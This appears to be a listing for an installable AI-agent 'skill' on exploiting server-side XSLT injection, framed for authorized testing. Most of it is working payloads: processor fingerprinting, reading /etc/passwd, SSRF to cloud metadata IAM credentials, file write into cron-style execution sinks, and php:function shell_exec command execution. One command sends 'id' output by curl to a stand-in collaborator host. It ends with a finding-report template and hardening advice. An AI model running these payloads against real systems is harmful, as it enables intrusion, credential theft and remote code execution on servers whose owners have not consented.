Exploiting server-side XSLT injection where an application transforms XML with attacker-influenced stylesheets, enabling processor fingerprinting, local file read, SSRF, file write, and remote code execution via processor-specific extension functions (libxslt/lxml, Saxon, Xalan, .NET msxsl:script, PHP php:function). Activates when XSL/XSLT content or document/stylesheet references reach a server-side transformer.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Exploiting server-side XSLT injection where an application transforms XML with attacker-influenced stylesheets, enabling processor fingerprinting, local file read, SSRF, file write, and remote code execution via processor-specific extension functions (libxslt/lxml, Saxon, Xalan, .NET msxsl:script, PHP php:function). Activates when XSL/XSLT content or document/stylesheet references reach a server-side transformer.
During authorized tests where the server transforms XML to HTML/PDF/CSV using XSLT
When you can upload or influence an .xsl stylesheet, or the XML references an external stylesheet
When PDF/report generators, document converters, or ESI stylesheet= params perform transforms
When XXE payloads fail but the stylesheet parser itself is still attacker-reachable
When you see frameworks: libxslt (PHP/lxml/GNOME), Saxon (Java), Xalan (Apache), .NET, MSXML
Critical: Variants Most Often Missed
The biggest miss is stopping at generic XXE. Fingerprint the processor first, then switch to processor-specific primitives — a failed document('/etc/passwd') or failed Java call does NOT mean the engine is hardened.
<!-- 1. FINGERPRINT: identify version + vendor before anything else --><xsl:value-ofselect="system-property('xsl:version')"/><xsl:value-ofselect="system-property('xsl:vendor')"/><xsl:value-ofselect="system-property('xsl:vendor-url')"/><xsl:value-ofselect="system-property('xsl:product-name')"/>
<!-- 2. FILE READ — vary by processor --><!-- Saxon (XSLT 2.0): unparsed-text reads ANY text file --><xsl:value-ofselect="unparsed-text('/etc/passwd', 'utf-8')"/><!-- libxslt: document() works for XML; /etc/passwd often FAILS because parsed as XML --><xsl:value-ofselect="document('/etc/passwd')"/><!-- may error --><xsl:value-of =/>
...
<!-- DTD external entity inside the stylesheet -->
<!DOCTYPE x [<!ENTITY extSYSTEM"file:///etc/passwd">]>
&ext;
<!-- 3. SSRF --><xsl:value-ofselect="document('http://169.254.169.254/latest/meta-data/')"/><xsl:includehref="http://127.0.0.1:8000/xslt"/><!-- include fetched BEFORE access control --><xsl:value-ofselect="document('http://example.com:22')"/><!-- port probe -->
<!-- 4. FILE WRITE --><!-- libxslt EXSLT secondary output --><xsl:stylesheetversion="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:exsl="http://exslt.org/common"extension-element-prefixes="exsl"><xsl:templatematch="/"><exsl:documenthref="/var/www/html/test.txt"method="text">0xdf was here!</exsl:document></xsl:template></xsl:stylesheet><!-- Saxon --><xsl:result-documenthref="local_file.txt"><xsl:text>Write Local File</xsl:text></xsl:result-document>
Fingerprint success: response shows Version: 2.0, Vendor: SAXON 9.x etc. → injection confirmed, pick the right payload set.
File read: /etc/passwd content (regex root:.*?:0:0:) or target file bytes appear in the transformed output.
SSRF: out-of-band callback hits your collaborator, OR document('http://host:22') returns a connect/timing difference per port.
File write: re-fetch the written path (e.g. /test.txt) and see your marker. Remember XML encoding — use & for a literal &, not %26.
Blind RCE: when only a boolean/object reference comes back, pivot to DNS/HTTP callbacks, time delays (shell_exec('sleep 10')), or file writes — do not expect stdout.
Hardening is partial: document('/etc/passwd') failing on libxslt doesn't rule out php:function/SSRF; a blocked Java call on Saxon doesn't rule out doc()/unparsed-text().
Workflow
Step 1: Detect & Fingerprint
# Local repro environmentsudo apt-get install -y default-jdk libsaxonb-java libsaxon-java
saxonb-xslt -xsl:detection.xsl xml.xml # prints Version + Vendor
Submit the system-property() stylesheet to the target and read the vendor string from the response.
<!-- Confirm RCE blindly with a callback, then upgrade --><xsl:value-ofselect="php:function('shell_exec','curl http://COLLABORATOR/$(id|base64)')"/>
Practical write workflow: first write a marker into a web-served path to prove the primitive, then write into an execution sink already on the host (cron-polled dir, auto-reload path, scheduled task input).
Hardening-bypass notes
lxml: XSLTAccessControl defaults to allowing file/network and only mediates transform-time I/O; xsl:import/xsl:include are parsed BEFORE that hook, so attacker stylesheets still load.
Apps often harden the XML parser (resolve_entities=False, no_network=True) but leave the stylesheet parser default — XSLT features stay reachable.
Key Concepts
Concept
Description
Processor fingerprinting
system-property('xsl:vendor'/'xsl:version') selects the right exploit path
document() vs unparsed-text()
libxslt document() expects XML; Saxon unparsed-text() reads any text
A reporting endpoint transforms user XML into a PDF with Saxon. Injecting unparsed-text('/etc/passwd') embeds the password file into the generated PDF.
Scenario 2: PHP libxslt RCE
A PHP app applies a user-controlled stylesheet. php:function('shell_exec','id') is enabled by default in many libxslt/PHP setups, giving direct command execution.
Scenario 3: SSRF to Cloud Metadata
A .NET converter blocks msxsl:script but document('http://169.254.169.254/latest/meta-data/iam/security-credentials/') succeeds, leaking cloud IAM credentials.
Output Format
## XSLT Server-Side Injection Finding
**Vulnerability**: XSLT Server-Side Injection
**Severity**: Critical (CVSS 9.1–9.8 for RCE; High for LFI/SSRF)
**Location**: POST /report/transform (XML/XSL upload or stylesheet= parameter)
**OWASP Category**: A03:2021 - Injection (with A10 SSRF when applicable)
### Reproduction Steps
1. Submit system-property() stylesheet → response shows Vendor: SAXON 9.1.0.8.
2. Submit unparsed-text('/etc/passwd') → /etc/passwd contents returned in output.
3. With ext funcs enabled, java:java.lang.Runtime exec triggers a collaborator callback (RCE).
### Evidence
| Payload | Result | Capability |
|---------|--------|-----------|
| system-property('xsl:vendor') | SAXON 9.1.0.8 | Fingerprint |
| unparsed-text('/etc/passwd') | root:x:0:0:... | File read |
| rt:exec(...,'curl COLLAB') | DNS/HTTP callback | RCE |
### Impact
Local file disclosure, SSRF (incl. cloud metadata), arbitrary file write, and remote code execution depending on processor and enabled extension functions.
### Recommendation
1. Never transform attacker-controlled stylesheets; pin trusted, static XSL.
2. Disable extension functions (PHP `php:function`, Saxon `ALLOW_EXTERNAL_FUNCTIONS`, .NET `EnableScript`).
3. Restrict the processor's file/network access (lxml `XSLTAccessControl`, `no_network=True`, resolver=None).
4. Run the transformer with least privilege and no outbound network access.